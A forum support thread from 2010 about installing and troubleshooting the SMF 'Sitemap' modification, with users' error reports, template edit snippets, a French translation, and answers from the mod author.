Post by: Snogmarr on February 11, 2010, 04:02:45 AM
Arantor
Nice to see you back and doing what you do best,, helping us thicko's resolve problems.

I know you never went But welcome back propper anyway.
Title: Re: Sitemap
Post by: Arantor on February 11, 2010, 04:30:51 AM
Quote from: xnathansxdadx on February 11, 2010, 04:02:45 AM
Arantor
Nice to see you back and doing what you do best,, helping us thicko's resolve problems.

I know you never went But welcome back propper anyway.

I wouldn't say I'm back properly. I doubt I will return to the levels I was at, and I can't see me publishing any more SMF mods other than SimpleDesk.
Title: Re: Sitemap
Post by: ukhalik2 on February 14, 2010, 01:33:40 PM
I am using SMF 1.1.1 .   I installed this mod by admin panel. But i switched to custom theme (apolloBB), now the sitemap link wont show up!

So, I tried editing files of custom theme!

when editing custom theme:
./Themes/default/index.template.php
Quotefind this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

add before
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
I cant find </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
in index.template.php of apolloBB theme!

and you also said to edit: ./Themes/default/languages/Who.english.php but there is no such file in DEFAULT theme or Custom theme!

and also i tried eding ./Themes/default/style.css but of custom theme.
but cant find what you stated :(

I have attached the files of ApolloBB (my custom theme files)! please help me!
Title: Re: Sitemap
Post by: abcd789 on February 14, 2010, 11:19:03 PM

how to convert this

/forum/index.php?action=sitemap

to

forum/sitemap.xml

thanx in advance
Title: Re: Sitemap
Post by: Arantor on February 15, 2010, 03:17:16 AM
Quote from: abcd789 on February 14, 2010, 11:19:03 PM

how to convert this

/forum/index.php?action=sitemap

to

forum/sitemap.xml

thanx in advance

Why?
Title: Re: Sitemap
Post by: abcd789 on February 15, 2010, 03:49:07 AM
Quote from: Arantor on February 15, 2010, 03:17:16 AM
Quote from: abcd789 on February 14, 2010, 11:19:03 PM

how to convert this

/forum/index.php?action=sitemap

to

forum/sitemap.xml

thanx in advance

Why?

for webmastertools in google... adding sitemap causes error so dats y.. before i had done this but forget.. wer to do..
Title: Re: Sitemap
Post by: Arantor on February 15, 2010, 03:52:26 AM
Except that it won't make a difference in the slightest. If you're getting errors, something ELSE is wrong.

What's the URL to your sitemap?
Title: Re: Sitemap
Post by: abcd789 on February 15, 2010, 03:54:09 AM
my url is added like this....

/forum/index.php?action=sitemap

in webmastertools if i wanna add a sitemap how to do dat...
Title: Re: Sitemap
Post by: Arantor on February 15, 2010, 04:03:49 AM
No. What is the full URL to your sitemap? I want to see what the error is.
Title: Re: Sitemap
Post by: ukhalik2 on February 15, 2010, 01:27:44 PM
Quote from: ukhalik2 on February 14, 2010, 01:33:40 PM
I am using SMF 1.1.1 .   I installed this mod by admin panel. But i switched to custom theme (apolloBB), now the sitemap link wont show up!

So, I tried editing files of custom theme!

when editing custom theme:
./Themes/default/index.template.php
Quotefind this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

add before
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
I cant find </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
in index.template.php of apolloBB theme!

and you also said to edit: ./Themes/default/languages/Who.english.php but there is no such file in DEFAULT theme or Custom theme!

and also i tried eding ./Themes/default/style.css but of custom theme.
but cant find what you stated :(

I have attached the files of ApolloBB (my custom theme files)! please help me!

can anyone answer my question?
Title: Re: Sitemap
Post by: SlammedDime on February 15, 2010, 04:28:47 PM
Quote from: ukhalik2 on February 15, 2010, 01:27:44 PM
Quote from: ukhalik2 on February 14, 2010, 01:33:40 PM
I am using SMF 1.1.1 .   I installed this mod by admin panel. But i switched to custom theme (apolloBB), now the sitemap link wont show up!

So, I tried editing files of custom theme!

when editing custom theme:
./Themes/default/index.template.php
Quotefind this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

add before
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
I cant find </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
in index.template.php of apolloBB theme!

and you also said to edit: ./Themes/default/languages/Who.english.php but there is no such file in DEFAULT theme or Custom theme!

and also i tried eding ./Themes/default/style.css but of custom theme.
but cant find what you stated :(

I have attached the files of ApolloBB (my custom theme files)! please help me!

can anyone answer my question?
A default install of SMF does have Who.english.php in the languages folder.  You might want to check yours again.  If you're missing it, you should download a copy from the downloads page and stick it in your languages folder.

For the sitemap link in index.template.php, you can add it anywhere you want.  The mod just puts it in the footer by the copyright.  So you don't need to find exactly what is there, just find the copyright function and stick it somewhere around there.

For style.css... the mod doesn't replace any code, it only adds it, so you can add it anywhere in the file you want, doesn't matter.
Title: Re: Sitemap
Post by: ukhalik2 on February 16, 2010, 09:04:41 AM
Quote from: SlammedDime on February 15, 2010, 04:28:47 PM
Quote from: ukhalik2 on February 15, 2010, 01:27:44 PM
Quote from: ukhalik2 on February 14, 2010, 01:33:40 PM
I am using SMF 1.1.1 .   I installed this mod by admin panel. But i switched to custom theme (apolloBB), now the sitemap link wont show up!

So, I tried editing files of custom theme!

when editing custom theme:
./Themes/default/index.template.php
Quotefind this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

add before
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
I cant find </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
in index.template.php of apolloBB theme!

and you also said to edit: ./Themes/default/languages/Who.english.php but there is no such file in DEFAULT theme or Custom theme!

and also i tried eding ./Themes/default/style.css but of custom theme.
but cant find what you stated :(

I have attached the files of ApolloBB (my custom theme files)! please help me!

can anyone answer my question?
A default install of SMF does have Who.english.php in the languages folder.  You might want to check yours again.  If you're missing it, you should download a copy from the downloads page and stick it in your languages folder.

For the sitemap link in index.template.php, you can add it anywhere you want.  The mod just puts it in the footer by the copyright.  So you don't need to find exactly what is there, just find the copyright function and stick it somewhere around there.

For style.css... the mod doesn't replace any code, it only adds it, so you can add it anywhere in the file you want, doesn't matter.

where to get Who.english.php ... I am missing it :(

I tried editing index.template.php but got error
can you please add the sitemap link in footer! My index.template.php is attached!
Title: Re: Sitemap
Post by: bjraines on February 17, 2010, 06:05:43 PM
i saw this had pretty URL support in the 1.x version but my xml still reads with native board URLs, is there a feature I turn on somewhere?
Title: Re: Sitemap
Post by: Phat^Trance on February 18, 2010, 01:35:17 PM
how do i install this in smf 1.1.11? im getting this error:

An Error Has Occurred!
The package you tried to upload either is not a valid package or has become corrupted.
Title: Re: Sitemap
Post by: Afro on February 21, 2010, 08:59:38 AM
My indexed pages suddenly started going down.
does this mod have anything to do with it ?
Title: Re: Sitemap
Post by: gallitin on March 01, 2010, 06:53:44 PM
I'm having an issue with this package it shows my links in my sitemap as being:

http://the-quota.com/forums/index.php/topic,209.0.html

when in reality they are

http://the-quota.com/forums/index.php/topic=209.0

When I look at my google webmaster tools it says that 404 (Not found), obviously because the sitemap here: http://the-quota.com/forums/index.php?action=sitemap;xml is not formating them correctly.  Can I change this somewhere?
Title: Re: Sitemap
Post by: txcas on March 02, 2010, 12:10:37 PM
I had Sitemap working fine until I installed Pretty URLs.  It looks like Pretty URLs breaks Sitemap.

ETA: Disregard this.  I ran the Pretty URLs maintenace tasks and it fixed the link to the Sitemap.
Title: Re: Sitemap
Post by: ccraciun on March 05, 2010, 12:00:07 PM
Does anyone knows if Sitemap is working with Simple SEF mod and Simple Portal for SMF 2.0 RC2? I'm running Simple Portal as standalone on the root of the domain and the forum is installed as subfolder (-http://domain.com/forum)

I just installed the sitemap mod without any errors but -http://domain.com/forum/sitemap doesn't do anything (i see the main forum page). Thanks!
Title: Re: Sitemap
Post by: MultiformeIngegno on March 09, 2010, 08:51:38 AM
Has someone tested this with RC3..?
Thanks! ;)
Title: Re: Sitemap
Post by: Massl on March 09, 2010, 12:05:11 PM
I will try tonight  ;)
Title: Re: Sitemap
Post by: MultiformeIngegno on March 09, 2010, 12:07:14 PM
It works flawless, tested on my site! ;)
Title: Re: Sitemap
Post by: Massl on March 09, 2010, 12:51:10 PM
Quote from: MultiformeIngegno on March 09, 2010, 12:07:14 PM
It works flawless, tested on my site! ;)

I confirm, is working also on rc3. Remember after the update to edit your modification.language.php.

The menu appears different ...
Title: Re: Sitemap
Post by: hartiberlin on March 10, 2010, 07:07:52 AM
Quote from: Max_74 on March 09, 2010, 12:51:10 PM
Quote from: MultiformeIngegno on March 09, 2010, 12:07:14 PM
It works flawless, tested on my site! ;)

I confirm, is working also on rc3. Remember after the update to edit your modification.language.php.

The menu appears different ...

How do I modify this ?
What do I have to change ?

Many thanks.
Title: Re: Sitemap
Post by: GohighVoltage on March 10, 2010, 10:03:52 AM
Hi,  I hope he updates this to RC3.  Great Mod,  don't want to lose it.
Title: Re: Sitemap
Post by: Afro on March 10, 2010, 11:14:08 AM
it works with RC3.

USE the advanced link below the package page and change your smf version to rc2
then install the mod.
Title: Re: Sitemap
Post by: SlammedDime on March 10, 2010, 04:42:36 PM
As others have said, it does indeed work with RC3... I do have to make some changes to the bottom menu though.  Just use the advanced link for now like Afro said.
Title: Re: Sitemap
Post by: hartiberlin on March 10, 2010, 04:49:44 PM
Does it take you long to do these changes ?
I am just setting up a new domain and should I wait for a new release or will
the RC2 emulation just work without any problems ?
Title: Re: Sitemap
Post by: Afro on March 10, 2010, 04:52:58 PM
RC2 Emulation will install on it.
as long as you use the advanced link to return to RC2 before installing the mod.
If you nee help doing that, you can send me pm.
Title: Re: Sitemap
Post by: hartiberlin on March 10, 2010, 04:56:11 PM
Okay, yes, itworked on my new domain to install it with the RC2 setting.

Should I now after the installation set the package manager advanced settings
back to SMF 2.0 RC3?
Title: Re: Sitemap
Post by: Afro on March 10, 2010, 05:12:29 PM
Yes, you can set it back to RC3.
Kein problem.
Title: Re: Sitemap
Post by: SlammedDime on March 10, 2010, 06:51:19 PM
Updated mod to 2.1.1 compatible with RC3
Title: Re: Sitemap
Post by: Massl on March 11, 2010, 01:17:09 AM
Quote from: SlammedDime on March 10, 2010, 06:51:19 PM
Updated mod to 2.1.1 compatible with RC3

Only two small things ...  ;)
The name of the mod is always 2.1.0 and not 2.1.1, on the sitemap menu XML remains selected also if i go on the board page.

Many thanks for this great mod  ;D
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2010, 01:28:13 AM
I purposefully made the XML button always active just to make it stand out

As for the package version, looks like I forgot to update package-info.xml... will update that shortly (Edit: updated)
Title: Re: Sitemap
Post by: Massl on March 11, 2010, 01:48:36 AM
Ok, thanks SlammedDime  ;)
Title: Re: Sitemap
Post by: hartiberlin on March 11, 2010, 12:06:49 PM
Okay,did you fix anything ?
I just installed yeasterday the old version in RC2 compatibility mode on a new domain
and I wonder if I should uninstall it now and reinstall this newer version now ?

Or could I leave the older version, that installed okay with it ?

Many thanks aagain.

Regards, Stefan.
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2010, 12:16:43 PM
The only thing I changed was the display of the Board | Topic | XML link.  You could easily just download the new package and just overwrite Sitemap.php in the sources directory.  No need to even uninstall anything.
Title: Re: Sitemap
Post by: maximus23 on March 11, 2010, 12:46:33 PM
Hi SlammedDime,

If you want it has the French translation of your mod  ;)

Version sitemap-2_1_1

languagedir/Help.french.php


$helptxt['sitemap_xml'] = 'Quand il n\'est pas activé, le lien du sitemap sera montré seulement aux admins. Quand il est activé, n\'importe qui peut le voir.';
$helptxt['sitemap_topic_count'] = 'C\'est le nombre maximum de sujets qui seront affichés dans le sitemap.  Par défaut la valeur sera de 20000 sujets.  Vous pouvez mettre ceci à 0 pour afficher tous les sujets sur votre forum.';


languagedir/Modifications.french.php


$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Forums';
$txt['sitemap_xml'] = 'Visualiser les <em>liens</em> XML du Sitemap';
$txt['sitemap_topic_count'] = 'Nombre maximum de sujets à afficher dans le Sitemap<br /><span class="smalltext">0 pour les visualier tous (<strong class="error">Ce n\'est pas recommandé pour un grand forum</strong>)</span>';
$txt['sitemap_cache_ttl'] = 'Définir le temps que les données XML doivent rester dans le cache (en secondes)';
$txt['sitemap_board_none'] = 'Pas de Forums à visualiser';
$txt['sitemap_topic_none'] = 'Pas de Sujets à visualiser';
$txt['sitemap_30day_priority'] = 'Priorité pour les sujets actifs dans les 30 derniers jours';
$txt['sitemap_60day_priority'] = 'Priorité pour les sujets actifs dans les 60 derniers jours';
$txt['sitemap_90day_priority'] = 'Priorité pour les sujets actifs dans les 90 derniers jours';
$txt['sitemap_91day_priority'] = 'Priorité pour les sujets étant plus vieux de 90 jours';

languagedir/Who.french.php


$txt['whoall_sitemap'] = 'Vous visualisez actuellement le <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
Title: Re: Sitemap
Post by: Massl on March 12, 2010, 01:26:07 AM
It is normal that I can not see the XML link as guest ?

Thanks  :)
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2010, 03:03:45 AM
Max - that's the way you configured it in your admin panel... check out the very first option in the Sitemap configuration ;)
Title: Re: Sitemap
Post by: Massl on March 12, 2010, 08:23:50 AM
Quote from: SlammedDime on March 12, 2010, 03:03:45 AM
Max - that's the way you configured it in your admin panel... check out the very first option in the Sitemap configuration ;)

Is checked !
As guest i can't see xml link  :o
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2010, 10:56:12 AM
updated mod to 2.1.2... when i changed the style of the buttons, i forgot to add a global variable to the function
Title: Re: Sitemap
Post by: Massl on March 12, 2010, 12:03:08 PM
Now is perfect !
Thanks for your time and work  :)
Title: Re: Sitemap
Post by: MultiformeIngegno on March 12, 2010, 02:10:14 PM
With this new version every time I go in the "Sitemap" options I receive this error..:
Fatal error: Cannot redeclare modifysitemapsettings() (previously declared in /Sources/ManageSettings.php:2033) in /Sources/ManageSettings.php on line 2125

EDIT: Found and fixed the problem! It's a conflict with the "Share Topic" mod!
Title: Re: Sitemap
Post by: MCK on March 12, 2010, 07:38:24 PM
Quote from: SlammedDime on March 12, 2010, 10:56:12 AM
updated mod to 2.1.2... when i changed the style of the buttons, i forgot to add a global variable to the function

Hi SlammedDime. Thanks for all your efforts. Do we need to uninstall 2.1.1 before installing the new version?
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2010, 07:46:27 PM
Not really, you could just unzip the archive and overwrite Sources/Sitemap.php if it's easier for you.
Title: Re: Sitemap
Post by: BLueSS on March 13, 2010, 06:25:33 AM
Quote from: robinrobin on September 27, 2009, 02:16:21 PM
Is it possible to add articles from SMF Articles mod to the sitemap?
I saw this never got answered, but I am looking to see if sitemap supports either this, or TinyPortal's Article System. Right now articles aren't in my sitemap. :(
Title: Re: Sitemap
Post by: SlammedDime on March 13, 2010, 06:39:44 AM
not at this time... I can probably look at getting it in there though, probably shouldn't be too hard
Title: Re: Sitemap
Post by: hartiberlin on March 13, 2010, 12:39:33 PM
The same with PortaMX Single pages !

Would be great, if we would also have these in the SiteMap Mod.

Many thanks in advance.

Regards, Stefan.
Title: Re: Sitemap
Post by: fantasydirtracing on March 14, 2010, 06:04:27 PM
I upgraded from 2.10 to 2.12 I have 2.0 RC3 running and now I am receiving this error when I try to access the modification settings in my admin the sitemap itself is working correctly on my forum live but I cant access my admin setting at all....I have attached the file..
Fatal error: Cannot redeclare modifysitemapsettings() (previously declared in /home/fantasy1/public_html/forum/Sources/ManageSettings.php:2042) in /home/fantasy1/public_html/forum/Sources/ManageSettings.php on line 2104

I uninstalled the mod....now the only error I have is it says sitemap on bottom of forum and if you click it I get this error
Fatal error: require_once() [function.require]: Failed opening required '/home/fantasy1/public_html/forum/Sources/Sitemap.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/fantasy1/public_html/forum/index.php on line 390
Title: Re: Sitemap
Post by: SlammedDime on March 14, 2010, 07:30:06 PM
As the error says, the function cannot be redeclared, which means its already been declared once, which means the function is there twice.... just remove the modifySitemapSettings() function.

I would suggest, however, looking at the manual install instructions and manually removing all traces of the mod and then installing fresh.
Title: Re: Sitemap
Post by: fantasydirtracing on March 14, 2010, 07:34:46 PM
I uninsalled all traces and reinstalled and works like a dream, thanks for supplying this great mod
Title: Re: Sitemap
Post by: SlammedDime on March 14, 2010, 07:36:10 PM
Glad you like it :D
Title: Re: Sitemap
Post by: rd on March 14, 2010, 07:36:35 PM
Fantasy I told you it was sitemap that caused the error.

Thanks for helping fantasy,
Title: Re: Sitemap
Post by: evilfx on March 17, 2010, 12:27:36 PM
hi,

i upgraded from rc2 to rc3 which had version 2.1.0 installed.

i'm now trying to install version 2.1.2 but i get the following error:

"The package you are trying to download or install is either corrupt or not compatible with this version of SMF."

i already installed other mods like pretty urls etc it's only this one i'm having problems with.
Title: Re: Sitemap
Post by: evilfx on March 18, 2010, 06:15:04 AM
help?
Title: Re: Sitemap
Post by: Arantor on March 18, 2010, 06:46:41 AM
Please be patient, not everyone is on every single day, and I know the mod author has been busy.

I'd try redownloading the zip file to be honest.
Title: Re: Sitemap
Post by: SlammedDime on March 18, 2010, 06:55:40 AM
evilfx, version 2.1.2 installs on a clean copy of 2.0RC3 for me without any issues.  Try downloading the package again and trying again, and you can also check that when you upload the mod, before installing it, that the file exists and has content in your Packages directory.
Title: Re: Sitemap
Post by: evilfx on March 18, 2010, 07:28:35 AM
i tried downloading it again i even tried uploadng the file myself via ftp but i always get the same error message :(

thanks anyway :\
Title: Re: Sitemap
Post by: evilfx on March 18, 2010, 07:32:33 AM
wow.

i deleted the temp files and everything related to sitemap.

uploaded the file again and now i get this:

   5.   Execute Modification   ./Themes/default/index.template.php   Test failed
   1.   Add After   ./Themes/default/index.template.php   Test failed


Find[Select]
         <li class="copyright">', theme_copyright(), '</li>
Add After[Select]
         <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>
Title: Re: Sitemap
Post by: hartiberlin on March 19, 2010, 11:39:27 PM
Hi SD,
Could you please add support for
Aeva Media in your Sitemap ?

If one posts many galleries with comments
under each picture these are many
pages that are missing from the sitemap.

Would be great if you could include them.

Many thanks.

Regards, Stefan.
Title: Re: Sitemap
Post by: flapjack on March 19, 2010, 11:41:31 PM
I second that!
Title: Re: Sitemap
Post by: jay.clark on March 20, 2010, 08:40:23 PM
Is 2.1.2 compatible with 2.0 RC2 ?  When I check for manual instructions it tells me that it is not compatible, but in reading through the topic I get the impression that it should be.

When I move the zip file into packages, it finds it ok, but does not give me an install button.

The system I am trying to use it on was upgraded from 1.11 to 2.0 RC2, which has made a difference between that and a clean install of 2.0 RC2.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fwww.exreps.com%2Fimages%2Fsitemap.jpg&hash=a3019369fac94190c9e9585aeebfa3a504d00a06)
Title: Re: Sitemap
Post by: GohighVoltage on March 20, 2010, 08:46:12 PM
Is it ok when I click, XML,  it activates like scroll bars,  and then nothing happens,  Then I click again, and after a min or so it displays the XML file.
Title: Re: Sitemap
Post by: SlammedDime on March 20, 2010, 09:47:16 PM
Yea, I noticed that on my test site after the package came out GohighVoltage... I'll have to look into what part of the CSS is causing that.

Jay.Clark - I suggest upgrading to 2.0RC3, as that is the latest version and the version the package is tested for.  It would work on RC2 if you click on the 'Advanced' link at the bottom of your package manager and change your version to RC3, but I still recommend upgrading due to security fixes.
Title: Re: Sitemap
Post by: jay.clark on March 21, 2010, 12:00:54 AM
Quote from: SlammedDime on March 20, 2010, 09:47:16 PM
Jay.Clark - I suggest upgrading to 2.0RC3, as that is the latest version and the version the package is tested for.  It would work on RC2 if you click on the 'Advanced' link at the bottom of your package manager and change your version to RC3, but I still recommend upgrading due to security fixes.

I had tried it on a different site that has RC3, however when I run the install I get test failed on sources/admin.

On the site in question I followed your advice and used the advanced button and set it to emulate RC3, ran the install and got another test failed on sources/admin.php.

I checked permissions on admin.php and they are set to 777, while probably a bad thing is also probably not what is causing it to fail the test.

Any suggestions appreciated

jayr
Title: Re: Sitemap
Post by: SlammedDime on March 21, 2010, 12:34:02 AM
Probably means you have another mod that is conflicting with the same spot this wants to install... all you can do is install it manually
Title: Re: Sitemap
Post by: jay.clark on March 21, 2010, 06:41:18 AM
Quote from: SlammedDime on March 21, 2010, 12:34:02 AM
Probably means you have another mod that is conflicting with the same spot this wants to install... all you can do is install it manually

Thanks a million, you nailed it, it was contending with ultimate profile for the first spot in the file, I backed the emulation down to 2.0, uninstalled ultimate profile, went back to 3.0 emulation installed site map, back to 2.0 and reinstalled ultimate profile, as far as I can tell both are now working.

Thanks again for your work in creating the mod and putting up with those like myself who are too dumb to write cool code like this.

jayr
Title: Re: Sitemap
Post by: jay.clark on March 21, 2010, 12:18:19 PM
Quote from: SlammedDime on May 12, 2007, 05:43:04 PM
Link to Mod (http://custom.simplemachines.org/mods/index.php?mod=755)

This file adds an extra action to your SMF installation '?action=sitemap' that will show a sitemap to your visitors and bots. 

Hi,

This and the SEF mods are excellent, to put some money where my mouth is I just made a small donation with PayPal.

I do have a couple of questions:

1. Apparently Sitemap does not pick up the urls in the SMF menu, is there any way to change the configuration so that it does?

2. I have two parts to my system, a lot of it is SMF but I also have a website on top.

I can generate a site map for the website part using a different tool.

As far as I know Google and the other engines will only let you submit a single site map, although multiple maps might be possible with robots.txt.

Since the sitemap for the rest of the site is pretty static it would be nice if there was a way that your mod could grab the other sitemap and include it in the one that your mod generates dynamically.

I guess I could manually do it the other way round and suck all of your data into the sitemap for the rest of the site, the disadvantage to doing it this way is that I would have to remember to periodically update the master list I would be creating.

As an official old geezer I have problems remembering breakfast by lunchtime, so doing a manual join is not very appealing.

jayr





Title: Re: Sitemap
Post by: SlammedDime on March 21, 2010, 02:34:07 PM
First off, thanks for the donation, much appreciated.

1) It's currently not possible to add static links to the sitemap (possible future feature), but most of the menu items (if you're referring to the standard header menu that contains links to the memberlist, help, profile, login, logout, etc), would never need to be included into the sitemap.  The idea of the sitemap is to highlight the main idea of the forum, the boards and topics.  I would like to add a feature for static links, and it really isn't difficult to implement, just a matter of taking the time to do it.

2) Google will allow you as many sitemaps as you want for your site... on one of my sites, I have a sitemap for the Mambo part, and then this mod, both submitted to google.

Title: Re: Sitemap
Post by: jay.clark on March 21, 2010, 05:27:55 PM
Quote from: SlammedDime on March 21, 2010, 02:34:07 PM
First off, thanks for the donation, much appreciated.

1) It's currently not possible to add static links to the sitemap (possible future feature), but most of the menu items (if you're referring to the standard header menu that contains links to the memberlist, help, profile, login, logout, etc), would never need to be included into the sitemap.  The idea of the sitemap is to highlight the main idea of the forum, the boards and topics.  I would like to add a feature for static links, and it really isn't difficult to implement, just a matter of taking the time to do it.

2) Google will allow you as many sitemaps as you want for your site... on one of my sites, I have a sitemap for the Mambo part, and then this mod, both submitted to google.

One of the reasons that I jumped on RC2 is the easy to use multi level menu, so I have some urls to things beyond logoff and profile on it, I just checked with sitemap.org and apparently you can have more than one site map listed in your robots.txt, between that and your comment that I can submit more than one to the google I think we got it covered.

Great Mods, I look forward to a real bump in my user stats

jayr

www.exreps.com
Title: Re: Sitemap
Post by: teofiluscandra on March 22, 2010, 07:28:20 AM
I Have Problem When Insltalling It,
My MoD are :
AEVA
SimplePortal
SMF 2 RC 3
Twitter Facebook Publisher

It Error On :
Index.template.php and admin.php
Title: Re: Sitemap
Post by: TheListener on March 22, 2010, 07:34:38 AM
Quote from: teofiluscandra on March 22, 2010, 07:28:20 AM
I Have Problem When Insltalling It,
My MoD are :
AEVA
SimplePortal
SMF 2 RC 3
Twitter Facebook Publisher

It Error On :
Index.template.php and admin.php

Can you tell us what the errors are.

Was there an error on installing the mod?

Version of forum and theme used.
Title: Re: Sitemap
Post by: replaaa on March 22, 2010, 05:08:37 PM
Rc3 problem :S
Title: Re: Sitemap
Post by: Arantor on March 22, 2010, 05:12:56 PM
Quote from: replaaa on March 22, 2010, 05:08:37 PM
Rc3 problem :S

What's the problem? What happens? Error message?
Title: Re: Sitemap
Post by: replaaa on March 22, 2010, 05:14:07 PM
test succeeded. But I did not really budge
Title: Re: Sitemap
Post by: GohighVoltage on March 22, 2010, 05:26:38 PM
HAHAHA!  I love when people say they have a problem,  or complain about all kinds of problems, but never issue any details or any idea of what the problem is!!!!

When I see these posts,  I chalk it up as USER Problem,  not software related or repairable.

LOL
Title: Re: Sitemap
Post by: replaaa on March 22, 2010, 05:31:24 PM
Quote from: GohighVoltage on March 22, 2010, 05:26:38 PM
HAHAHA!  I love when people say they have a problem,  or complain about all kinds of problems, but never issue any details or any idea of what the problem is!!!!

When I see these posts,  I chalk it up as USER Problem,  not software related or repairable.

LOL

Admin panel board looks. However / sitemap and nothing does not appear. How else do you think can be a recipe does not appear?


NOT:  This and no problem.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fwww.smf.gen.tr%2Fsmf%2Findex.php%3Faction%3Ddlattach%3Btopic%3D65142.0%3Battach%3D45298%3Bimage&hash=66a957066cae70593cddcf9acf404de72215cf7a)
Title: Re: Sitemap
Post by: olufemo on March 24, 2010, 11:49:59 AM
I have been using this mod error free until upgrade to smf 2 rc3.
Before upgrade I unistall all MODs then do the upgrade, upgrade was successful.
After re-installation of this Sitemap Mod I started getting this error in errors log
..../forum/index.php?action=sitemap;xml8: Undefined index: sitemap
File: .../public_html/forum/Sources/Sitemap.php
Line: 27


I click the error message I got this
:
25: $context['linktree'][] = array(
26: 'url' => $scripturl . '?action=sitemap',
==>27: 'name' => $txt['sitemap'],
28: );
29:


Help pls. How do I fix this even though the forum seems in good working condition
Title: Re: Sitemap
Post by: bjraines on March 24, 2010, 02:50:35 PM
I note that the 1.2 version says there is support for pretty urls but how do you turn it on? it does not show the pretty urls for me
Title: Re: Sitemap
Post by: GohighVoltage on March 24, 2010, 03:09:23 PM
I have used sitemap with RC2 and now RC3,  with no errors at all.

Only issue I have with the RC3 version is when you click on XML,  it creates scroll bars, then nothing.  Click it again, and there is a very long delay before it displays the sitemap.   other then that,  no errors.
Title: Re: Sitemap
Post by: teofiluscandra on March 25, 2010, 06:43:27 AM
Quote from: Brack1 on March 22, 2010, 07:34:38 AM
Quote from: teofiluscandra on March 22, 2010, 07:28:20 AM
I Have Problem When Insltalling It,
My MoD are :
AEVA
SimplePortal
SMF 2 RC 3
Twitter Facebook Publisher

It Error On :
Index.template.php and admin.php

Can you tell us what the errors are.

Was there an error on installing the mod?

Version of forum and theme used.

Ok sir, when i start to install it, Error...
like this sir,

Error in Package Installation
At least one error was encountered during a test installation of this package. It is strongly recommended that you do not continue with installation unless you know what you are doing, and have made a backup very recently. This error may be caused by a conflict between the package you're trying to install and another package you have already installed, an error in the package, a package which requires another package that you don't have installed yet, or a package designed for another version of SMF.

Adapt Database   add_settings.php   
   2.   Execute Modification   ./index.php   Test successful
   3.   Execute Modification   ./Sources/Admin.php   Test failed
   1.   Add After   ./Sources/Admin.php   Test failed

   4.   Execute Modification   ./Sources/ManageSettings.php   Test successful
   5.   Execute Modification   ./Themes/default/index.template.php   Test failed
   1.   Add After   ./Themes/default/index.template.php   Test failed
   6.   Execute Modification   ./Themes/default/languages/Help.english.php   Test successful
   7.   Execute Modification   ./Themes/default/languages/Modifications.english.php   Test successful
   8.   Execute Modification   ./Themes/default/languages/Who.english.php   Test successful
9.   Extract File   ./Sources/Sitemap.php   
10.   Extract File   ./Themes/default/Sitemap.template.php


Error In admin.php :
Find[Select]
// Note the comma!! The setting with automatically appear with the first mod to be added.

Add After[Select]
'sitemap' => array($txt['sitemap']),


ON index.template.php :
QuoteFind[Select]
         <li class="copyright">', theme_copyright(), '</li>

Add After[Select]
         <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'

like that sir....

I Hope You can Fixed that.....

if you need explaination tell me sir, THXXXXX
Title: Re: Sitemap
Post by: konkarakas on March 26, 2010, 06:49:56 PM
i ve tried to upload the file many times but it says that the file is damaged or corrupted (version for smf 1.1.11)

has anyone any idea?
Title: Re: Sitemap
Post by: GohighVoltage on March 29, 2010, 11:34:30 AM
hey bud,  any ideas on a fix on these issues yet:

Only issue I have with the RC3 version is when you click on XML,  it creates scroll bars, then nothing.  Click it again, and there is a very long delay before it displays the sitemap.   other then that,  no errors.
Title: Re: Sitemap
Post by: Am' on April 03, 2010, 04:56:48 AM
Quote from: GohighVoltage on March 29, 2010, 11:34:30 AM
hey bud,  any ideas on a fix on these issues yet:

Only issue I have with the RC3 version is when you click on XML,  it creates scroll bars, then nothing.  Click it again, and there is a very long delay before it displays the sitemap.   other then that,  no errors.

yes i confirm ^^
Title: Re: Sitemap
Post by: MazdaClubTR on April 05, 2010, 02:20:32 AM
Quote from: olufemo on March 24, 2010, 11:49:59 AM
I have been using this mod error free until upgrade to smf 2 rc3.
Before upgrade I unistall all MODs then do the upgrade, upgrade was successful.
After re-installation of this Sitemap Mod I started getting this error in errors log
..../forum/index.php?action=sitemap;xml8: Undefined index: sitemap
File: .../public_html/forum/Sources/Sitemap.php
Line: 27


I click the error message I got this
:
25: $context['linktree'][] = array(
26:       'url' => $scripturl . '?action=sitemap',
==>27:       'name' => $txt['sitemap'],
28:    );
29:


Help pls. How do I fix this even though the forum seems in good working condition

I do have exactly the same issue.

Site : SMF 2.0 RC3 , Sitemap 2.1.2
Title: Re: Sitemap
Post by: petb on April 05, 2010, 03:05:06 AM
Did you update your language specific Files manually ?
Title: Re: Sitemap
Post by: MazdaClubTR on April 05, 2010, 03:24:28 AM
